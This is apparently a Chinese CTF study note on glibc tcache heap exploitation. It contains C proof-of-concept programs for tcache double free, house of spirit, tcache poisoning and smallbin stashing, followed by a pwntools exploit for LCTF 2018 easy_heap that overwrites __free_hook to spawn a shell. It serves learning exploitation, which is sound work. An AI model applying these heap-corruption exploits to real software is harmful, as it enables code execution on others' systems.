跳转至

TcacheAttack

Tcache Attack

ubuntu 18.04 下测试

tcache介绍


源码看不动,说一下通过实验得到的:

同一大小的 chunk free 之后前 7 个会放到一个 tcache 链表里面,不同大小的放在不同的链表中

1599203249256-82f5ac65-5d0c-489f-8178-5e15e27abba0.png

最大能放 0x408 的,再大就要按照原本的那样放到 unsortedbin 中了

1599203512319-36373ba7-3af0-472d-a517-f6d67416983c.png

程序再次申请内存块的时候首先判断在 tchche 中是否存在,如果存在的话会先从 tcache 中拿

后进先出

tcache_dup

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "先申请一块内存\n");
    int *a = malloc(8);

    fprintf(stderr, "申请的内存地址是: %p\n", a);
    fprintf(stderr, "对这块内存地址 free两次\n");
    free(a);
    free(a);

    fprintf(stderr, "这时候链表是这样的 [ %p, %p ].\n", a, a);
    fprintf(stderr, "接下来再去 malloc 两次: [ %p, %p ].\n", malloc(8), malloc(8));
    fprintf(stderr, "ojbk\n");
    return 0;
}

gcc -g tcache_dup.c

运行之后的结果:

1599284768870-733f0d35-4baa-4943-baf1-ccde4bd1555b.png

一开始申请了 0x8 大小的 chunk,后来 free了两次

1599219527102-aea134d9-60e7-41cb-aff3-14f730950c51.png

然后再去申请的话也会申请这俩在 tcache 中的,所以后面输出的 malloc 的地址还是一样的

tcache_house_of_spirit

#include <stdio.h>
#include <stdlib.h>

int main()
{
    malloc(1);
    unsigned long long *a;
    unsigned long long fake_chunks[10];
    fprintf(stderr, "fake_chunks[1] 在 %p\n", &fake_chunks[1]);
    fprintf(stderr, "fake_chunks[1] 改成 0x40 \n");
    fake_chunks[1] = 0x40;
    fprintf(stderr, "把 fake_chunks[2] 的地址赋给 a, %p.\n", &fake_chunks[2]);
    a = &fake_chunks[2];
    fprintf(stderr, "free 掉 a\n");
    free(a);
    fprintf(stderr, "再去 malloc(0x30),在可以看到申请来的结果在: %p\n", malloc(0x30));
    fprintf(stderr, "ojbk\n");
}

首先取了一个数组

1599267869782-6ac47f70-178d-4917-aca5-f92bb35a531a.png

然后把数组的 index1 改成了 0x40(chunk 的大小)

1599267916944-ceb24ab3-9c87-48d4-a46f-665efd417ac8.png

然后把数组的 index2 的地址赋给了 a,之后去 free a,再去申请回来的话就会把 a 申请回来,这样就申请了 fake chunks[2] 那里

1599268068261-63265fde-100c-4141-97fb-4255063b96df.png

tcache_poisoning

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    size_t stack_var;
    printf("定义了一个变量 stack_var,我们想让程序 malloc 到这里 %p.\n", (char *)&stack_var);

    printf("接下来申请两个 chunk\n");
    intptr_t *a = malloc(128);
    printf("chunk a 在: %p\n", a);
    intptr_t *b = malloc(128);
    printf("chunk b 在: %p\n", b);

    printf("free 掉这两个 chunk\n");
    free(a);
    free(b);

    printf("现在 tcache 那个链表是这样的 [ %p -> %p ].\n", b, a);
    printf("我们把 %p 的前 %lu 字节(也就是 fd/next 指针)改成 stack_var 的地址:%p", b, sizeof(intptr_t), &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("现在 tcache 链表是这样的 [ %p -> %p ].\n", b, &stack_var);

    printf("然后一次 malloc : %p\n", malloc(128));
    printf("现在 tcache 链表是这样的 [ %p ].\n", &stack_var);

    intptr_t *c = malloc(128);
    printf("第二次 malloc: %p\n", c);
    printf("ojbk\n");

    return 0;
}

程序首先定义了一个变量,我们想要做的就是让程序 malloc 到变量那里

malloc 两个 chunk,然后 free 掉,这时候链表及内存布局是这样的

1599286703548-270e2724-e62a-4843-a54e-4717f99fc472.png

1599286781524-8c5511ff-9009-4574-94db-828e6f67b73a.png

然后把 b 的 fd 指针改成那个变量地址

1599286971293-726554b8-95b9-4503-8d03-1d3c9548ca3c.png

这时候 tcache 的链表是这样的

1599287096710-cd68ea1c-cd7c-42d2-9b2a-d9c8ce888bf0.png

然后连续申请两个 chunk,来看一下申请到的地址是啥样的

1599287167237-30b1f4fa-adc3-434b-acdb-20d551c5d28e.png

#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;
    unsigned long *pp;

    fprintf(stderr, "stack_var 是我们希望分配到的地址,我们首先把 &stack_var[2] 写到 stack_var[3] 来绕过 glibc 的 bck->fd=bin(即 fake chunk->bk 应该是一个可写的地址)\n");
    stack_var[3] = (unsigned long)(&stack_var[2]);
    fprintf(stderr, "修改之后 fake_chunk->bk 是:%p\n",(void*)stack_var[3]);
    fprintf(stderr, "stack_var[4] 的初始值是:%p\n",(void*)stack_var[4]);
    fprintf(stderr, "现在申请 9 个 0x90 的 chunk\n");

    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }
    fprintf(stderr, "先释放 6 个,这 6 个都会放到 tcache 里面\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }
    fprintf(stderr, "接下来的释放的三个里面第一个是最后一个放到 tcache 里面的,后面的都会放到 unsortedbin 中\n");

    free(chunk_lis[1]);
    //接下来的就是放到 unsortedbin 了
    free(chunk_lis[0]);
    free(chunk_lis[2]);
    fprintf(stderr, "接下来申请一个大于 0x90 的 chunk,chunk0 和 chunk2 都会被整理到 smallbin 中\n");
    malloc(0xa0);//>0x90

    fprintf(stderr, "然后再去从 tcache 中申请两个 0x90 大小的 chunk\n");
    malloc(0x90);
    malloc(0x90);

    fprintf(stderr, "假设有个漏洞,可以把 victim->bk 的指针改写成 fake_chunk 的地址: %p\n",(void*)stack_var);
    chunk_lis[2][1] = (unsigned long)stack_var;
    fprintf(stderr, "现在 calloc 申请一个 0x90 大小的 chunk,他会把一个 smallbin 里的 chunk0 返回给我们,另一个 smallbin 的 chunk2 将会与 tcache 相连.\n");
    pp = calloc(1,0x90);

    fprintf(stderr, "这时候我们的 fake_chunk 已经放到了 tcache bin[0xa0] 这个链表中,它的 fd 指针现在指向下一个空闲的块: %p, bck->fd 已经变成了 libc 的地址: %p\n",(void*)stack_var[2],(void*)stack_var[4]);
    target = malloc(0x90);  
    fprintf(stderr, "再次 malloc 0x90 可以看到申请到了 fake_chunk: %p\n",(void*)target); 
    fprintf(stderr, "ojbk\n");
    return 0;
}

在 tcache 有剩余(不够 7 个)的时候,smallbin 中的相同大小空闲块会放入 tcache 中,这时候也会出现 unlink 操作

calloc 在分配时不会用 tcache bin 的

首先把 7 个放到 tcache bin 中,剩下两个放在 unsorted bin 中

0x555555757250 是 chunk0,0x555555757390 是 chunk2

1599354065945-5fc05706-0e52-4062-8e2d-c59b11ce8065.png

这时候去申请一个 0xa0 大小的 chunk,那俩在 unsorted bin 中的 chunk 整理放在了 small bin 中

1599354129760-ba9a9fb4-b74f-4c71-a48c-2cf3531c4005.png

再去申请两个 0x90 大小的会从 tcache bin 中分配,这时候 tcache 还剩 5 个

1599354186536-48b3293e-112c-47a2-8470-065421c53f89.png

然后把 chunk2 的 bk 改成 &stack_var,在一开始是这样的

1599392323440-8abf25c9-c3f7-43da-b0ae-bf71215b2c33.png

改后:

1599392428602-b29c4a87-a03b-4e63-a7c3-b64b6f2efe08.png

另外此时的 bins

1599392911786-3e4c1118-6118-4ef6-9699-c0d0991bd94a.png

使用 calloc 去申请 0x90 大小的 chunk 会把 0x555555757250 申请出去,这时候如果 tcachebin 还有空闲的位置,剩下的 smallbin 从最后一个 0x7fffffffddc0 开始顺着 bk 链接到 tcachebin 中

https://dayjun.top/2020/02/07/smallbin在unlink的时候存在的漏洞/

1599366939897-e7859525-377b-433b-849b-d1ec792d5cdd.png

tcache 是后进先出的,所以这时候再去申请就拿到了 0x7fffffffddc0 这个地址的 chunk

1599382053572-a6b1bb56-75da-46c5-a923-60290d507c44.png

调试不了!?先放过去了Orz

找了几道题,都调不出来。。。貌似环境不一样!?烦!

LCTF 2018 easy_heap

from pwn import *
p=process('./easy_heap',env={'LD_PRELOAD':'./libc64.so'})
libc = ELF('./libc64.so')

def cmd(choice):
  p.sendlineafter('> ',str(choice))

def malloc(size,content):
  cmd(1)
  p.sendlineafter('> ',str(size))
  p.sendlineafter('> ',content)

def free(index):
  cmd(2)
  p.sendlineafter('> ',str(index))

def puts(index):
  cmd(3)
  p.sendlineafter('> ',str(index))

for i in range(10):
  malloc(0xf0,'yichen')

free(1)
for i in range(3,8):
  free(i)

free(9)
free(8)
free(2)
free(0)

for i in range(7):
  malloc(0xf0,'yichen')

malloc(0,'')
malloc(0xf8,'')

free(0)
free(1)
free(2)
free(3)
free(4)
free(6)
free(5)

for i in range(7):
  malloc(16,'/bin/bash\n')

p.recvuntil('>')
p.sendline('3')
p.recvuntil('index \n> ')
p.sendline('8')

addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=addr- (0x00007f97e7321ca0-0x7f97e6f36000)

free_hook = libc_base+libc.symbols['__free_hook']
sys = libc_base +0x4f322
malloc(0,'')
free(5)
free(8)
free(9)
malloc(16,p64(free_hook)+'\n')
malloc(16,'/bin/bash\x00')
malloc(16,p64(sys)+'\n')
free(0)

p.interactive()

在一开始会先申请 0xa0 大小的 chunk,用来存放接下来用户申请的 chunk 指针和大小

1599478289607-32377f0a-60d3-4ff4-94c6-b9e413768c47.png

后面程序最大能申请 0xf8 大小的 chunk

1599478344546-0211c99d-2424-42ec-ac08-cc1c9a47e734.png

这里有一个 off by null 的漏洞,可以通过它使得下一个的 prev_in_use 变成 0

1599480074339-bfc7c47a-ee39-40c2-a4ca-af143c252fd6.png

原文: https://www.yuque.com/hxfqg9/bin/qlry85